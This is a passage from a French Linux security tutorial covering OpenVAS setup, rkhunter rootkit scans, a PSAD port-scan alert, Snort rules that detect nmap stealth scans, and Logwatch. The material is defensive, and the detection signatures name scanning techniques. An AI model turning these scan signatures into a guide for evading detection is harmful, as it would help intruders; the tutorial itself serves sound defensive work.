total size is 681654050 speedup is 1.00
[i] Initializing scap database
[i] Updating CPEs
[i] Updating /var/lib/openvas/scap-data/nvdcve-2.0-2002.xml
[i] Updating /var/lib/openvas/scap-data/nvdcve-2.0-2003.xml
...
Write out database with 1 new entries
Data Base Updated
Restarting Greenbone Security Assistant: gsad.
User created with password '6062d074-0a4c-4de1-a26a-5f9f055b7c88'.

Démarrer Openvas :

root@kali:~# openvas-start
Starting OpenVas Services
Starting Greenbone Security Assistant: gsad.
Starting OpenVAS Scanner: openvassd.
Starting OpenVAS Manager: openvasmd.

Et se rendre sur son interface https://127.0.0.1:9392

Source de l’image

Source : https://www.kali.org/penetration-testing/openvas-vulnerability-scanning/

9. Détection de rootkits

9.1. Rkhunter

https://www.rootkit.nl/projects/rootkit_hunter.html

  • Installation
# yum -y install epel-release
# yum -y install rkhunter
  • Mise à jour de la base de données
# rkhunter --update
  • Mise à jour des propriétés du système de fichiers
# rkhunter --propupd
  • Scan manuel
# rkhunter --check
  • Logs
# cat /var/log/rkhunter.log
  • Aide
# rkhunter --help

10. Détection d’intrusion

Modern Honey Network est une solution libre (https://github.com/threatstream/mhn) qui permet de créer un réseau de sondes de détection d’intrusion et de pots de miel.

10.1. PSAD

PSAD est un logiciel qui analyse les logs iptables en vue de détecter des tentatives de connexions, du scan de ports, etc.

Voici un courriel envoyé par PSAD :

=-=-=-=-=-=-=-=-=-=-=-= Sun Nov 27 06:57:21 2016 =-=-=-=-=-=-=-=-=-=-=-=


         Danger level: [3] (out of 5) Multi-Protocol

    Scanned TCP ports: [554: 1 packets]
            TCP flags: [SYN: 1 packets, Masscan SYN scan]
       iptables chain: INPUT (prefix "[UFW BLOCK]"), 1 packets

               Source: 71.6.146.185
                  DNS: pirate.census.shodan.io

          Destination: 10.2.145.69
                  DNS: [No reverse dns info available]

   Overall scan start: Sun Aug 21 19:28:55 2016
   Total email alerts: 289
   Complete TCP range: [13-55554]
   Complete UDP range: [19-53413]
      Syslog hostname: mamach1

         Global stats:
                       chain:   interface:  protocol:  packets:
                       INPUT    eth0        tcp        411
                       INPUT    eth0        udp        66

[+] Whois Information (source IP):

#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/whois_tou.html
#
# If you see inaccuracies in the results, please report at
# https://www.arin.net/public/whoisinaccuracy/index.xhtml
#


#
# Query terms are ambiguous.  The query is assumed to be:
#     "n 71.6.146.185"
#
# Use "?" to get help.
#

#
# The following results may also be obtained via:
# https://whois.arin.net/rest/nets;q=71.6.146.185?showDetails=true&showARIN=false&showNonArinTopLevelNet=false&ext=netref2
#

CariNet, Inc. NET-26 (NET-71-6-146-128-1) 71.6.146.128 - 71.6.146.191
CariNet, Inc. CARINET-5 (NET-71-6-128-0-1) 71.6.128.0 - 71.6.255.255



#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/whois_tou.html
#
# If you see inaccuracies in the results, please report at
# https://www.arin.net/public/whoisinaccuracy/index.xhtml
#


=-=-=-=-=-=-=-=-=-=-=-= Sun Nov 27 06:57:21 2016 =-=-=-=-=-=-=-=-=-=-=-=

10.2. Snort

Installation de snort

# apt-get install snort
# snort --version

Configuration de snort

Vérifier le fichier /etc/snort/snort.conf au niveau des variables et des règles activées.

Configuration des règles

Les règles sont placées dans /etc/snort/rules/ et doivent être appelées par un Include dans le fichier /etc/snort/snort.conf

Nomenclature des règles

<Rule Actions> <Protocol> <Source IP Address> <Source Port> <Direction Operator> <Destination IP Address> <Destination > (rule options)

Détecter du trafic nmap

Source : https://asecuritysite.com/forensics/snort?fname=hping_fin.pcap&rulesname=rulesstealth.rules

# look for stealth port scans/sweeps
alert tcp any any -> any any (msg:"SYN FIN Scan"; flags: SF;sid:9000000;)
alert tcp any any -> any any (msg:"FIN Scan"; flags: F;sid:9000001;)
alert tcp any any -> any any (msg:"NULL Scan"; flags: 0;sid:9000002;)
alert tcp any any -> any any (msg:"XMAS Scan"; flags: FPU;sid:9000003;)
alert tcp any any -> any any (msg:"Full XMAS Scan"; flags: SRAFPU;sid:9000004;)
alert tcp any any -> any any (msg:"URG Scan"; flags: U;sid:9000005;)
alert tcp any any -> any any (msg:"URG FIN Scan"; flags: FU;sid:9000006;)
alert tcp any any -> any any (msg:"PUSH FIN Scan"; flags: FP;sid:9000007;)
alert tcp any any -> any any (msg:"URG PUSH Scan"; flags: PU;sid:9000008;)
alert tcp any any -> any any (flags: A; ack: 0; msg:"NMAP TCP ping!";sid:9000009;)

Capture générée : https://www.cloudshark.org/captures/2cbd9eaadf21

Lancement du démon

# snort -D -c /etc/snort/snort.conf -l /var/log/snort/

Vérification des alertes

# tail -f /var/log/snort/alert

10.3. Tripwire

11. Gestion des logs

11.1. Logwatch

Logwatch est un logiciel d’analyse et de rapports de logs.

Il s’installe avec cette commande :

yum -y install logwatch

La configuration se réalise dans le fichier :

/etc/logwatch/conf/logwatch.conf

Mais les paramètres par défaut se situent dans :

/usr/share/logwatch/default.conf/logwatch.conf

On peut utiliser la configuration par défaut :

cp /usr/share/logwatch/default.conf/logwatch.conf /etc/logwatch/conf/

et puis on peut générer le rapport :

logwatch

ou l’envoyer par courriel :

logwatch --mailto admin@domain.com

Voici l’aide du programme :

logwatch --help

Usage: /usr/sbin/logwatch [--detail <level>] [--logfile <name>] [--output <output_type>]
   [--format <format_type>] [--encode <enconding>] [--numeric] [--no-oldfiles-log]
   [--mailto <addr>] [--archives] [--range <range>] [--debug <level>]
   [--filename <filename>] [--help|--usage] [--version] [--service <name>]
   [--hostformat <host_format type>] [--hostlimit <host1,host2>] [--html_wrap <num_characters>]

--detail <level>: Report Detail Level - High, Med, Low or any #.
--logfile <name>: *Name of a logfile definition to report on.
--logdir <name>: Name of default directory where logs are stored.
--service <name>: *Name of a service definition to report on.
--output <output type>: Report Output - stdout [default], mail, file.
--format <formatting>: Report Format - text [default], html.
--encode <encoding>: Enconding to use - none [default], base64.
--no-oldfiles-log: Suppress the logwatch log, which informs about the
                   old files in logwatch tmpdir.
--mailto <addr>: Mail report to <addr>.
--archives: Use archived log files too.
--filename <filename>: Used to specify they filename to save to. --filename <filename> [Forces output to file].
--range <range>: Date range: Yesterday, Today, All, Help
                             where help will describe additional options
--numeric: Display addresses numerically rather than symbolically and numerically
           (saves  a  nameserver address-to-name lookup).
--debug <level>: Debug Level - High, Med, Low or any #.
--hostformat: Host Based Report Options - none [default], split, splitmail.
--hostlimit: Limit report to hostname - host1,host2.
--hostname: overwrites hostname
--html_wrap <num_characters>: Default is 80.
--version: Displays current version.
--help: This message.
--usage: Same as --help.
* = Switch can be specified multiple times...